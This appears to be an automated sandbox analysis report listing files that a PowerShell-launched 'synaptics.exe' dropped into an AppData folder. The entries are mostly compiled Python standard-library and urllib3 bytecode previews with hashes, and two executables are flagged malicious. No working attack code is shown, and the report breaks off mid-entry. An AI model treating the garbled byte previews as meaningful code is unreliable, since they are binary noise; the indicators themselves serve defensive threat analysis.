              File Type:data
              Category:dropped
              Size (bytes):0
              Entropy (8bit):0.0
              Encrypted:false
              SSDEEP:
              MD5:89F6CD5BDC306D4648D37AF5F918F04D
              SHA1:556AA4D8BB56A7EFDA3EB4F2E9DA7EC597AFB688
              SHA-256:18EEC061C058577C90AB999060B5C9B94ED036AD69940B6FBFD43093975DEC05
              SHA-512:CD0022B358369A7973B0307FF685DD53127E13ABE39C18755CF3804C800E37EE091CE7636FE5875617D4D81F84069EBA5AA35824D5B38A8FE2F5147E4171CD1B
              Malicious:false
              Reputation:unknown
              Preview:o........g.f&K.......................@...s....U.d.d.l.m.Z...d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.m.Z...d.d.l.m.Z.m.Z...d.d.l.m.Z.m.Z...d.Z.d.Z.d.Z.d.Z.d.g.Z.e.j.e.e.e.e.e.f...Z.d.d...d.D...Z.dcd.d...Z.ddd.d...Z.e.j.r~d.d.l.m.Z...d.d.l.m Z ..d.d.l!m.Z"..G.d.d ..d e d.d!..Z#i.Z$d"e%d#<.z_d.d.l.Z.d.d$l.m&Z&m.Z.m'Z'm(Z(m)Z)m*Z*m+Z+m,Z,m-Z-m.Z.m.Z.m/Z/..e+Z0e.r.e.e)e*e.j1j2e.j3e.j1j2d%k.r.e.j4n.d...s.d.Z.d&D.].Z5z.e6e/e5..e$e6e.d'e5......<.W.q...e7y.......Y.q.w.d.d.l!m.Z...W.n...e8y.......d(Z'd)Z(d*Z-d+Z.d...Z0Z+d,Z,Y.n.w.e.j9d e:d.f...Z;ded1d2..Z<dfd6d7..Z=dgd8d9..Z>............dhdidCdD..Z?e.j@.E.E.E.E.E.E.E.E.E.E.E.EdjdkdUdV....ZAe.j@.E.E.E.E.E.E.E.E.E.E.E.EdjdldXdV....ZA........................dmdldYdV..ZAdnd\d]..ZBdod_d`..ZC..dpdqdadb..ZDd.S.)r.....)...annotationsN)...unhexlify.....)...ProxySchemeUnsupported..SSLError.....)..._BRACELESS_IPV6_ADDRZ_RE.._IPV4_REFz.http/1.1c....................C...s....i.|.].\.}.}.|.t.t.|.d.....q.S...N)...getattr..hashlib)....0..le

              C:\Users\user\AppData\Local\qkxB9Wn8nG\lib\site-packages\urllib3\util\__pycache__\ssltransport.cpython-310.pyc (copy)

              Download File
              Process:C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exe
              File Type:data
              Category:dropped
              Size (bytes):0
              Entropy (8bit):0.0
              Encrypted:false
              SSDEEP:
              MD5:EE2CF1B6D2D191EA38614C7FDA28EC22
              SHA1:21D6B01F036B97A27B9FF769E6704A542A0DF4A0
              SHA-256:8CAB5BE5A60A580915532B9F66FC16752574463ADBE05BB6E381A4C7F96D0C72
              SHA-512:C2ABA12141ACB5BFBC89FC3FABD91F289637AA6889C950695AE23BAD2E24E955F3B4E2D4A59B37261713F7CF7FE95DF393BFAD4448C2CDDEBBA12CABCE4F65BB
              Malicious:false
              Reputation:unknown
              Preview:o........g.f.".......................@...s....d.d.l.m.Z...d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.m.Z...e.j.r-d.d.l.m.Z...d.d.l.m.Z.m.Z...e.j.e.e.f...Z.e...d...Z.d.Z.G.d.d...d...Z.d.S.)......)...annotationsN.....)...ProxySchemeUnsupported)...Self.....)..._TYPE_PEER_CERT_RET.._TYPE_PEER_CERT_RET_DICT.._ReturnValuei.@..c....................@...s....e.Z.d.Z.d.Z.e.dsd.d.....Z.....dtdud.d...Z.dvd.d...Z.dwd.d...Z.dxd.d...Z.dydzd!d"..Z.d{d|d&d'..Z....#d}d~d,d-..Z.d.d.d0d1..Z.d.d.d2d3..Z...d.d.d.d.d4..d.d<d=..Z.d.d>d?..Z.d.d@dA..Z.e.j..Bd.d.dFdG....Z.e.j.d.dJdG....Z.d.d.dMdG..Z.d.dNdO..Z.d.dQdR..Z.d.dSdT..Z.d.dVdW..Z.d.dXdY..Z.d.d\d]..Z.d.d^d_..Z.d.d`da..Z.d.d.dcdd..Z.e.j.d.dgdh....Z.e.j.d.dkdh....Z.e.j.d.dndh....Z.....d.d.drdh..Z.d.S.)...SSLTransportaL.... The SSLTransport wraps an existing socket and establishes an SSL connection... Contrary to Python's implementation of SSLSocket, it allows you to chain. multiple TLS connections together. It's particularly useful if you need to. i

              C:\Users\user\AppData\Local\qkxB9Wn8nG\lib\site-packages\urllib3\util\__pycache__\timeout.cpython-310.pyc (copy)

              Download File
              Process:C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exe
              File Type:data
              Category:dropped
              Size (bytes):0
              Entropy (8bit):0.0
              Encrypted:false
              SSDEEP:
              MD5:D159B190DEB503FBC11C3A33BC684AB5
              SHA1:580633126C5423AD2732C580E35873F4C0746606
              SHA-256:C0870736F066B12C1C844E5318CFE14A0B78C499039ADF187797A95AE966C398
              SHA-512:A9EDEAF630A6199284340CD97478640FF1B10B56B6556492C16F694CCE5E3F47AF06A1B288C078BC1277A01D58199469F9ABA75B7EF52A5A9E5EE30D2A83FC6F
              Malicious:false
              Reputation:unknown
              Preview:o........g.fj(.......................@...s....U.d.d.l.m.Z...d.d.l.Z.d.d.l.Z.d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...e.j.r*d.d.l.m.Z...G.d.d...d.e...Z.e.j.Z.d.e.d.<.e.j.e.j.e.e.f.....Z.G.d.d...d...Z.d.S.)......)...annotationsN)...Enum)...getdefaulttimeout.....)...TimeoutStateError)...Finalc....................@...s....e.Z.d.Z.d.Z.d.S.)..._TYPE_DEFAULT.....N)...__name__..__module__..__qualname__..token..r....r.....PC:\Users\user\AppData\Local\qkxB9Wn8nG\lib\site-packages\urllib3\util\timeout.pyr........s........r....z.Final[_TYPE_DEFAULT].._DEFAULT_TIMEOUTc....................@...s....e.Z.d.Z.U.d.Z.e.Z.d.e.d.<.d.e.e.f.d$d.d...Z.d%d.d...Z.e.Z.e.d&d.d.....Z.e.d'd.d.....Z.e.d(d.d.....Z.d)d.d...Z.d*d.d...Z.d*d.d...Z.e.d+d d!....Z.e.d,d"d#....Z.d.S.)-..Timeouta....Timeout configuration... Timeouts can be defined as a default for a pool:.. .. code-block:: python.. import urllib3.. timeout = urllib3.util.Timeout(connect=2.0, read=7.0).. http = urllib3.PoolManager(timeout=

              C:\Users\user\AppData\Local\qkxB9Wn8nG\lib\site-packages\urllib3\util\__pycache__\url.cpython-310.pyc (copy)

              Download File
              Process:C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exe
              File Type:data
              Category:dropped
              Size (bytes):0
              Entropy (8bit):0.0
              Encrypted:false
              SSDEEP:
              MD5:F88253F5CBEE9DA897DD3DFD3BC58D16
              SHA1:4450862B7308FAB828FFF95A68ED89AC56F04587
              SHA-256:B690D9222197B67252F7114AFFB24C3981465F433C3DBC1CBF57A294699712AB
              SHA-512:97B701F2526BBC3E1690AF35ED913EE4EC55C814A899E8E951424070979F7D992585C6E8E443375C1E8B217A63E017EEA8E3EB1DED77F6BFCE4C02489C8ED8F6
              Malicious:false
              Reputation:unknown
              Preview:o........g.fm;.......................@...s~...d.d.l.m.Z...d.d.l.Z.d.d.l.Z.d.d.l.m.Z...d.d.l.m.Z...d.Z.e...d...Z.e...d...Z.e...d.e.j.e.j.B...Z.d.Z.d.Z.d.j.e.e.d...Z.e.e.d...Z.g.d...Z.d.Z.d.d...d.d...e.D.......d...Z.d.e...d...Z.d.e...d...e...d...Z.d.Z.e...d...Z.e...d.e...d.....Z.e...d.e...d.....Z.e...d.e...d.....Z.e...d.e.d.d.......d.....Z.e...d e...d!....Z d"e.e.e.f...Z!e...e!e.j.e.j.B...Z"e#d#..Z$e#d$..Z%e$e%B.d%h.B.Z&e&d&d'h.B.Z'e'd(h.B...Z(Z)G.d)d*..d*e..*d*d+e.j+e,..f.d,e.j+e,..f.d-e.j+e,..f.d.e.j+e-..f.d/e.j+e,..f.d0e.j+e,..f.d1e.j+e,..f.g.....Z.e.j/dMd7d8....Z0e.j/dNd:d8....Z0dOd<d8..Z0dPd=d>..Z1e.j/dQd?d@....Z2e.j/dRdAd@....Z2dSdBd@..Z2dTdEdF..Z3dUdHdI..Z4dVdKdL..Z5d.S.)W.....)...annotationsN.....)...LocationParseError.....)...to_str)...http..httpsNz.%[a-fA-F0-9]{2}z.^(?:[a-zA-Z][a-zA-Z0-9+-]*:|/)zS^(?:([a-zA-Z][a-zA-Z0-9+.-]*):)?(?://([^\\/?#]*))?([^?#]*)(?:\?([^#]*))?(?:#(.*))?$z.(?:[0-9]{1,3}\.){3}[0-9]{1,3}z.[0-9A-Fa-f]{1,4}z.(?:{hex}:{hex}|{ipv4}))...hexZ.ipv4).r....Z.ls32).

              C:\Users\user\AppData\Local\qkxB9Wn8nG\lib\site-packages\urllib3\util\__pycache__\util.cpython-310.pyc (copy)

              Download File
              Process:C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exe
              File Type:data
              Category:dropped
              Size (bytes):0
              Entropy (8bit):0.0
              Encrypted:false
              SSDEEP:
              MD5:DA7F1205AF872CB7C620D7764147CB91
              SHA1:09516CCCED000E06B64693B1F8EB611CFB655E9B
              SHA-256:C2D9C644481C27F45B69480EA028CE957A2917E57CECD3609149F0295B762B85
              SHA-512:400D4834B6F112712741C243F4062FF0CCEE2BA17505CCD1D90101486AC2409AEA23BC9BBC2D5F8EEBD1279FAD115992539D0A757C25073512E0BA153604B222
              Malicious:false
              Reputation:unknown
              Preview:o........g.fz........................@...sN...d.d.l.m.Z...d.d.l.Z.d.d.l.m.Z.....d.d.d.d...Z...d.d.d.d...Z...d.d.d.d...Z.d.S.)......)...annotationsN)...TracebackType..x..str | bytes..encoding..str | None..errors..return..bytesc....................C....R...t.|.t...r.|.S.t.|.t...s.t.d.t.|...j.........|.s.|.r%|.j.|.p.d.|.p"d.d...S.|.....S...Nz.not expecting type z.utf-8..strict).r....)...isinstancer......str..TypeError..type..__name__..encode..r....r....r......r.....MC:\Users\user\AppData\Local\qkxB9Wn8nG\lib\site-packages\urllib3\util\util.py..to_bytes.......................r....r....c....................C...r....r....).r....r....r....r....r....r......decoder....r....r....r......to_str....r....r......tp..type[BaseException] | None..value..BaseException..tb..TracebackType | None..typing.NoReturnc....................C...s$...z.|.j.|.u.r.|...|.....|...d.}.d.}.w...N)...__traceback__..with_traceback).r....r....r....r....r....r......reraise....s................r%...).NN).r....r....r....r....r..

              C:\Users\user\AppData\Local\qkxB9Wn8nG\lib\site-packages\urllib3\util\__pycache__\wait.cpython-310.pyc (copy)

              Download File
              Process:C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exe
              File Type:data
              Category:dropped
              Size (bytes):0
              Entropy (8bit):0.0
              Encrypted:false
              SSDEEP:
              MD5:D3B8E6D5BFBAA421009247E14B6EF78A
              SHA1:53F9D9FE21BEC5E44C3CB08BFC163BE4D291041B
              SHA-256:7BAC2D4E3AADEC5C0D882FA2612223D28F2DC8F93B8BDFD10DDD511A81D229B3
              SHA-512:198CC16B10AC38422A5150CB0C0A8D3D01271878274268143EE2E3B01B5E67CB2DE0FFD2F21E08BAF030A5AD3446D842163688957BA61885F3524F646ACDFF82
              Malicious:false
              Reputation:unknown
              Preview:o........g.fG........................@...s....d.d.l.m.Z...d.d.l.Z.d.d.l.Z.d.d.l.m.Z...d.d.g.Z.......d.d.d.d...Z.......d.d.d.d...Z.d.d.d...Z.......d.d.d.d...a.d.d.d.d...Z.d.d.d.d...Z.d.S.)......)...annotationsN)...partial..wait_for_read..wait_for_writeF..sock..socket.socket..read..bool..write..timeout..float | None..returnc....................C...sb...|.s.|.s.t.d.....g.}.g.}.|.r.|...|.....|.r.|...|.....t.t.j.|.|.|...}.|.|...\.}.}.}.t.|.p/|.p/|...S.).N.2must specify at least one of read=True, write=True)...RuntimeError..appendr......selectr....).r....r....r....r....Z.rcheckZ.wcheck..fnZ.rreadyZ.wreadyZ.xready..r.....MC:\Users\user\AppData\Local\qkxB9Wn8nG\lib\site-packages\urllib3\util\wait.py..select_wait_for_socket!...s..........................r....c........................s^...|.s.|.s.t.d.....d.}.|.r.|.t.j.O.}.|.r.|.t.j.O.}.t...........|.|.....d...f.d.d...}.t.|.|.....S.).Nr....r......tr....r......list[tuple[int, int]]c........................s....|.d.u.r.|.d.9.}.....|...S.).Ni....)..

              C:\Users\user\AppData\Local\qkxB9Wn8nG\lib\site-packages\win32\lib\__pycache__\pywin32_bootstrap.cpython-310.pyc (copy)

              Download File
              Process:C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exe
              File Type:data
              Category:dropped
              Size (bytes):0
              Entropy (8bit):0.0
              Encrypted:false
              SSDEEP:
              MD5:8B51EB0DF98CCC973E1925C3C2B11C1A
              SHA1:0E25E47F953871769505108CDAFA7FC455D02D81
              SHA-256:35D4766D352D81639D5428F2F84CC975541A95F3F17A9430B1FC818166D6DEED
              SHA-512:2CC6259BA86A3E61C6ADF9FD8890FC7F0D942C3F704096F592AFC5B82AA58079C313309CA979842D1977A2EFB31A21C64311EAF5B8507780ADFA7F11C7F41D41
              Malicious:false
              Reputation:unknown
              Preview:o........h.f.........................@...s....z.d.d.l.Z.W.n...e.y.......Y.d.S.w.d.d.l.Z.e.j.D.]<Z.e.j...e...rTe.e.d...r-e...e.......d.S.e.j.d.....e...sQe.j.d.....e.j.e...d...e.j.d.<.e.e.j...e.j.d.....e.j.d.<...d.S.q.d.S.)......N..add_dll_directory..PATH..).Z.pywin32_system32..ImportError..os..__path__..path..isdir..hasattrr......environ..startswith..replace..pathsep..r....r.....WC:\Users\user\AppData\Local\qkxB9Wn8nG\lib\site-packages\win32\lib\pywin32_bootstrap.py..<module>....s".....................................

              C:\Users\user\AppData\Local\qkxB9Wn8nG\lib\sqlite3\__pycache__\__init__.cpython-310.pyc (copy)

              Download File
              Process:C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exe
              File Type:data
              Category:dropped
              Size (bytes):0
              Entropy (8bit):0.0
              Encrypted:false
              SSDEEP:
              MD5:C435CAAF473AC47FC75B8E850A01481C
              SHA1:95B7A1B444D79D9C9EF0A0BD87A4FB9950CB12A9
              SHA-256:13D36EA0B2A850BC237FFAD48C49DF910FBE2917C238C7281A22A85C992B1BDB
              SHA-512:5923AB4F2C34A81D50E8A9061AD4B77324CFF4FCA0BDFF87827706EA81548B63BCEA1CFAE77FDF5D460403FCE2C389AAF94D521AAB4342DB56EC8FF5D311AB5B
              Malicious:false
              Reputation:unknown
              Preview:o.......:.-d/........................@...s....d.Z.d.d.l.T.d.d...Z.d.S.).u.....The sqlite3 extension module provides a DB-API 2.0 (PEP 249) compliant.interface to the SQLite library, and requires SQLite 3.7.15 or newer...To use the module, start by creating a database Connection object:.. import sqlite3. cx = sqlite3.connect("test.db") # test.db will be created or opened..The special path name ":memory:" can be provided to connect to a transient.in-memory database:.. cx = sqlite3.connect(":memory:") # connect to a database in RAM..Once a connection has been established, create a Cursor object and call.its execute() method to perform SQL queries:.. cu = cx.cursor().. # create a table. cu.execute("create table lang(name, first_appeared)").. # insert values into a table. cu.execute("insert into lang values (?, ?)", ("C", 1972)).. # execute a query and iterate over the result. for row in cu.execute("select * from lang"):. print(row).. cx.close()..Th

              C:\Users\user\AppData\Local\qkxB9Wn8nG\lib\sqlite3\__pycache__\dbapi2.cpython-310.pyc (copy)

              Download File
              Process:C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exe
              File Type:data
              Category:dropped
              Size (bytes):0
              Entropy (8bit):0.0
              Encrypted:false
              SSDEEP:
              MD5:76A6D0741D4078878793BA23DF7FC003
              SHA1:AA57B0B4014C9C20490D38E2D0276653B5D4A147
              SHA-256:F915611EAD0A115F729EEDEF1DE41C0FB6609195DC3AE4E1862EEBE9D260CCD5
              SHA-512:7E113B962946E05490D931A51A186DF8E406FA74094E84ACE80CFA73C9B78BEB61333ED4F626E536F06ACF8C9F9F0A6C822B4A8B135F8C1F83263C6ADB158585
              Malicious:false
              Reputation:unknown
              Preview:o.......:.-db........................@...s....d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.T.d.Z.d.Z.d.Z.e.j.Z.e.j.Z.e.j.Z.d.d...Z.d.d...Z.d.d...Z.e.d.d...e...d...D.....Z.e.d.d...e...d...D.....Z.e.Z.e.j.j...e.....d.d...Z.e.....d.d...Z.[.d.S.)......N)...*Z.qmark.....z.2.0c....................C........t.t...|...d.d.......S.).N.....)...Date..time..localtime..Z.ticks..r.....<C:\Users\user\AppData\Local\qkxB9Wn8nG\lib\sqlite3\dbapi2.py..DateFromTicks)..........r....c....................C...s....t.t...|...d.d.......S.).Nr.........)...Timer....r....r....r....r....r......TimeFromTicks,...r....r....c....................C...r....).Nr....)...Timestampr....r....r....r....r....r......TimestampFromTicks/...r....r....c....................C........g.|.].}.t.|.....q.S.r........int.....0..xr....r....r......<listcomp>2..........r.......c....................C...r....r....r....r....r....r....r....r....3...r....c....................C...sP...d.d...}.d.d...}.d.d...}.d.d...}.t.t.j.|.....t.t.j.|.....t.d.|.....t.d.|.....d.S.).

              C:\Users\user\AppData\Local\qkxB9Wn8nG\lib\urllib\__pycache__\__init__.cpython-310.pyc (copy)

              Download File
              Process:C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exe
              File Type:data
              Category:dropped
              Size (bytes):0
              Entropy (8bit):0.0
              Encrypted:false
              SSDEEP:
              MD5:57FBF915C22E62CF19AA0CACB215E92B
              SHA1:E2EAAE051AF962886793A0A6F992DD1DD5F9A70F
              SHA-256:FD7121655991D49EFECF69678572A93298E271366878CCEE7B6B01E645CDEA63
              SHA-512:FFE9562BD2CDFE6849138C35E65017ADEE5A4BE7841B7E9DBF9BB5272CA4FD79D68FB5D3D223FBFB346EBB3753DE6CAF7340243BFECF8302EB1ED5943892D410
              Malicious:false
              Reputation:unknown
              Preview:o.......:.-d.........................@...s....d.S.).N..r....r....r.....=C:\Users\user\AppData\Local\qkxB9Wn8nG\lib\urllib\__init__.py..<module>....s......

              C:\Users\user\AppData\Local\qkxB9Wn8nG\lib\urllib\__pycache__\error.cpython-310.pyc (copy)

              Download File
              Process:C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exe
              File Type:data
              Category:dropped
              Size (bytes):0
              Entropy (8bit):0.0
              Encrypted:false
              SSDEEP:
              MD5:CF9E35068EA5060DA4FA685E6DB6ED88
              SHA1:0190F94254617D72C1ECD8E350B85CF57C4E845B
              SHA-256:E625D3312DCCA77859122226BF2A6CEDDBE25E3C149C2A3A0EC32E044BC418AD
              SHA-512:02D8F0936537723FA7D254199BE7E0A53FA9F84F8CDC4445F48EE101AE66FAE429AB25BE7154DCBC4090E27C9C28CF0339C0AC171F6A85AD3358616531DDB0EE
              Malicious:false
              Reputation:unknown
              Preview:o.......:.-d.........................@...sV...d.Z.d.d.l.Z.d.d.l.Z.g.d...Z.G.d.d...d.e...Z.G.d.d...d.e.e.j.j...Z.G.d.d...d.e...Z.d.S.).a....Exception classes raised by urllib...The base exception class is URLError, which inherits from OSError. It.doesn't define any behavior of its own, but is the base class for all.exceptions defined in this package...HTTPError is an exception class that is also a valid HTTP response.instance. It behaves this way because HTTP protocol errors are valid.responses, with a status code, headers, and a body. In some contexts,.an application may want to handle an exception like a regular.response.......N)...URLError..HTTPError..ContentTooShortErrorc....................@...s....e.Z.d.Z.d.d.d...Z.d.d...Z.d.S.).r....Nc....................C...s$...|.f.|._.|.|._.|.d.u.r.|.|._.d.S.d.S...N)...args..reason..filename)...selfr....r......r.....:C:\Users\user\AppData\Local\qkxB9Wn8nG\lib\urllib\error.py..__init__....s..............z.URLError.__init__c..................

              C:\Users\user\AppData\Local\qkxB9Wn8nG\lib\urllib\__pycache__\parse.cpython-310.pyc (copy)

              Download File
              Process:C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exe
              File Type:data
              Category:dropped
              Size (bytes):0
              Entropy (8bit):0.0
              Encrypted:false
              SSDEEP:
              MD5:9ACE890CBCDEC93FB049E58DF2F79EA6
              SHA1:6825438D803BB30A7D976EBC0ED0E6DAAFA4CBF2
              SHA-256:5E22834F262CBBB1C274CD2FBE217CE15E719DF9514D8793DBAE5107C3C08E47
              SHA-512:B11BB780AB58104D994CBC2AA98D2758A31964AF5705365B4D9751EC6F42FFD9F7D06D93ABC33ED16B348E324FE110A859E2AB5DDECED0F0281826B1E9301A00
              Malicious:false
              Reputation:unknown
              Preview:o.......:.-d........................@...s....d.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.g.d...Z.g.d...Z.g.d...Z.g.d...Z.g.d...Z.g.d...Z.g.d...Z.d.Z.g.d...Z.d.Z.i.Z.d.d...Z.d.Z.d.Z.d.d...Z.e.e.f.d.d...Z.e.e.f.d.d...Z.d.d...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.G.d.d ..d e.e...Z.G.d!d"..d"e.e...Z.d.d#l.m.Z...e.d$d%..Z.e.d&d'..Z e.d(d)..Z!d*e._.d+e.j"_.d,e.j#_.d-e _.d.e j$_.d/e j%_.d0e j&_.d1e j'_.d2e j#_.d3e!_.e j$j.e!j$_.e j%j.e!j%_.e j&j.e!j&_.d4e!j(_.e j'j.e!j'_.e j#j.e!j#_.e.Z)G.d5d$..d$e.e...Z*G.d6d&..d&e e...Z+G.d7d(..d(e!e...Z,G.d8d9..d9e.e...Z-G.d:d;..d;e e...Z.G.d<d=..d=e!e...Z/d>d?..Z0e0....[0d.dBdC..Z1dDdE..Z2d.dFdG..Z3dHdI..Z4d.dJdK..Z5dLdM..Z6dNdO..Z7d.dPdQ..Z8dRdS..Z9dTZ:d.a;dUdV..Z<e..=dW..Z>d.dZd[..Z?.\.]d.d^d_..Z@.\.]d.d`da..ZAd.dbdc..ZBeCdd..ZDeEeD..ZFi.ZGG.dedf..dfe.jH..ZId.dhdi..ZJd.djdk..ZKd.dldm..ZLd\d@d.d.eKf.dndo..ZMdpdq..ZNdrds..ZOdtdu..ZPdvdw..ZQd.aRdxdy..ZSdzd{..ZTd.aUd|d}..ZVd~d...ZWd.d...ZXd.d...ZYd.d...ZZd.d...Z[d.a\d.d...Z]d.d.d...Z^d.d.d...Z_

              C:\Users\user\AppData\Local\qkxB9Wn8nG\lib\urllib\__pycache__\request.cpython-310.pyc (copy)

              Download File
              Process:C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exe
              File Type:data
              Category:dropped
              Size (bytes):0
              Entropy (8bit):0.0
              Encrypted:false
              SSDEEP:
              MD5:A0129FFA850AF4975F6E0EE31C07DEDA
              SHA1:5C24F916B2CF7EE3D2CBF2F437D535EF25D2F127
              SHA-256:9B57519B8792197C0CCE01E3E75AD2FD611FB24BE7AF3E6638A8B07217A40C22
              SHA-512:D7131978584A4F150AF0EE3417553F99CF0FE96BD69C4B63C6100E20CCBC1FF190565A69C13F2D10BEEB3A0839B12C64279610E2EB8D3A2044EF0FB666FC0ED1
              Malicious:false
              Reputation:unknown
              Preview:o.......:.-d.........................@...s....d.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.m.Z.m.Z.m.Z...d.d.l.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z.m Z m!Z!m"Z"m#Z#m$Z$m%Z%m&Z&m'Z'm(Z(..d.d.l)m*Z*m+Z+..z.d.d.l,Z,W.n...e-y.......d.Z.Y.n.w.d.Z.g.d...Z/d.e.j0d.d.......Z1d.a2d.e.j3f.d.d.d.d.d...d.d...Z4d.d...Z5g.Z6d.d.d...Z7d.d...Z8e..9d.e.j:..Z;d.d...Z<G.d.d...d...Z=G.d.d...d...Z>d.d...Z?G.d.d...d...Z@G.d.d ..d e@..ZAG.d!d"..d"e@..ZBG.d#d$..d$e@..ZCd%d&..ZDG.d'd(..d(e@..ZEG.d)d*..d*..ZFG.d+d,..d,eF..ZGG.d-d...d.eG..ZHG.d/d0..d0..ZIG.d1d2..d2eIe@..ZJG.d3d4..d4eIe@..ZKe.jLZMG.d5d6..d6..ZNG.d7d8..d8e@eN..ZOG.d9d:..d:e@eN..ZPG.d;d<..d<e@..ZQG.d=d>..d>eQ..ZReSe.jTd?....rtG.d@dA..dAeQ..ZUe/.VdA....G.dBdC..dCe@..ZWG.dDdE..dEe@..ZXdFdG..ZYdHdI..ZZG.dJdK..dKe@..Z[dLdM..Z\G.dNdO..dOe@..Z]G.dPdQ..dQe]..Z^G.dRdS..dSe@..Z_dTZ`e.jadUk...r.d.dVlbmcZcmdZd..n.dWdX..ZcdYdZ..Zdi.ZeG.d[d\..d\..ZfG.d]d^..d^ef..Zgd.ahd_

              C:\Users\user\AppData\Local\qkxB9Wn8nG\lib\urllib\__pycache__\response.cpython-310.pyc (copy)

              Download File
              Process:C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exe
              File Type:data
              Category:dropped
              Size (bytes):0
              Entropy (8bit):0.0
              Encrypted:false
              SSDEEP:
              MD5:663D95E9C34013650DBA84AC21750A77
              SHA1:DF9A1B095A383B3B6B965EE0591CE8056243062A
              SHA-256:9DD76CDCE4E7E8544FB4C2E1864D4172A3DBA989DB6C522B3E356BEAF09B6223
              SHA-512:C003543A735E800C371756CC53B9A200BD4722E352E1F26E573F124FD8F496C9A81D80DB3E92C1800A01B4080AE7650C39C9594EFA325D81387AD64EE70E4066
              Malicious:false
              Reputation:unknown
              Preview:o.......:.-d.........................@...sZ...d.Z.d.d.l.Z.g.d...Z.G.d.d...d.e.j...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.d.S.).a....Response classes used by urllib...The base class, addbase, defines a minimal file-like interface,.including read() and readline(). The typical response object is an.addinfourl instance, which defines an info() method that returns.headers and a geturl() method that returns the url.......N)...addbase..addclosehook..addinfo..addinfourlc........................s8...e.Z.d.Z.d.Z...f.d.d...Z.d.d...Z.d.d...Z.d.d...Z.....Z.S.).r....zOBase class for addinfo and addclosehook. Is a good idea for garbage collection.c........................s ...t.t.|...j.|.d.d.d.....|.|._.d.S.).Nz.<urllib response>F)...delete)...superr......__init__..fp)...selfr........__class__...=C:\Users\user\AppData\Local\qkxB9Wn8nG\lib\urllib\response.pyr........s........z.addbase.__init__c....................C...s....d.|.j.j.t.|...|.j.f...S.).Nz.<%s at %r whose fp = %r>).r......__name

              C:\Users\user\AppData\Local\qkxB9Wn8nG\python310.dll

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
              Category:dropped
              Size (bytes):4143384
              Entropy (8bit):6.719606889163802
              Encrypted:false
              SSDEEP:
              MD5:73CADAB187AD5E06BEF954190478E3AA
              SHA1:18AB7B6FE86193DF108A5A09E504230892DE453E
              SHA-256:B4893ED4890874D0466FCA49960D765DD4C2D3948A47D69584F5CC51BBBFA4C9
              SHA-512:B2EBE575F3252FF7ABEBAB23FC0572FC8586E80D902D5A731FB7BD030FAA47D124240012E92FFE41A841FA2A65C7FB110AF7FB9AB6E430395A80E925283E2D4D
              Malicious:true
              Reputation:unknown
              Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........d...............p.......jf......p.......p.......p.......}.......}...............p.......p.......pd......p......Rich............PE..L.....,d...........!......$...........$.......$...............................B......3@...@..........................%:.......:.|.....?...............?../....?.l1..(.9.T.............................9.@.............$..............................text.....$.......$................. ..`.rdata...F....$..H....$.............@..@.data.........;.......:.............@...PyRuntimh.....?.......<.............@....rsrc.........?.......<.............@..@.reloc..l1....?..2....<.............@..B................................................................................................................................................................................................................................................................

              C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exe

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:PE32 executable (GUI) Intel 80386, for MS Windows
              Category:dropped
              Size (bytes):100120
              Entropy (8bit):6.420724895344148
              Encrypted:false
              SSDEEP:
              MD5:8AD6C16026FF6C01453D5FA392C14CB4
              SHA1:69535B162FF00A1454BA62D6FABA549B966D937F
              SHA-256:FF507B25AF4B3E43BE7E351EC12B483FE46BDBC5656BAAE6AD0490C20B56E730
              SHA-512:6D8042A6C8E72F76B2796B6A33978861ABA2CFD8B3F8DE2088BBFF7EA76D91834C86FA230F16C1FDDAE3BF52B101C61CB19EA8D30C6668408D86B2003ABD0967
              Malicious:true
              Reputation:unknown
              Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......k.)./.G./.G./.G.&...%.G.}.F.-.G.}.B.<.G.}.C.#.G.}.D...G...F.,.G.d.F.-.G./.F...G...O...G......G...E...G.Rich/.G.................PE..L.....,d.....................H......n........ ....@.................................p.....@.................................l%.......@..x5...........X.../......\....!..T...........................X!..@............ ...............................text............................... ..`.rdata....... ......................@..@.data........0......................@....rsrc...x5...@...6... ..............@..@.reloc..\............V..............@..B........................................................................................................................................................................................................................................................................................................

              C:\Users\user\AppData\Local\qkxB9Wn8nG\vcruntime140.dll

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:PE32 executable (DLL) (console) Intel 80386, for MS Windows
              Category:dropped
              Size (bytes):76168
              Entropy (8bit):6.765544990184352
              Encrypted:false
              SSDEEP:
              MD5:1A84957B6E681FCA057160CD04E26B27
              SHA1:8D7E4C98D1EC858DB26A3540BAAAA9BBF96B5BFE
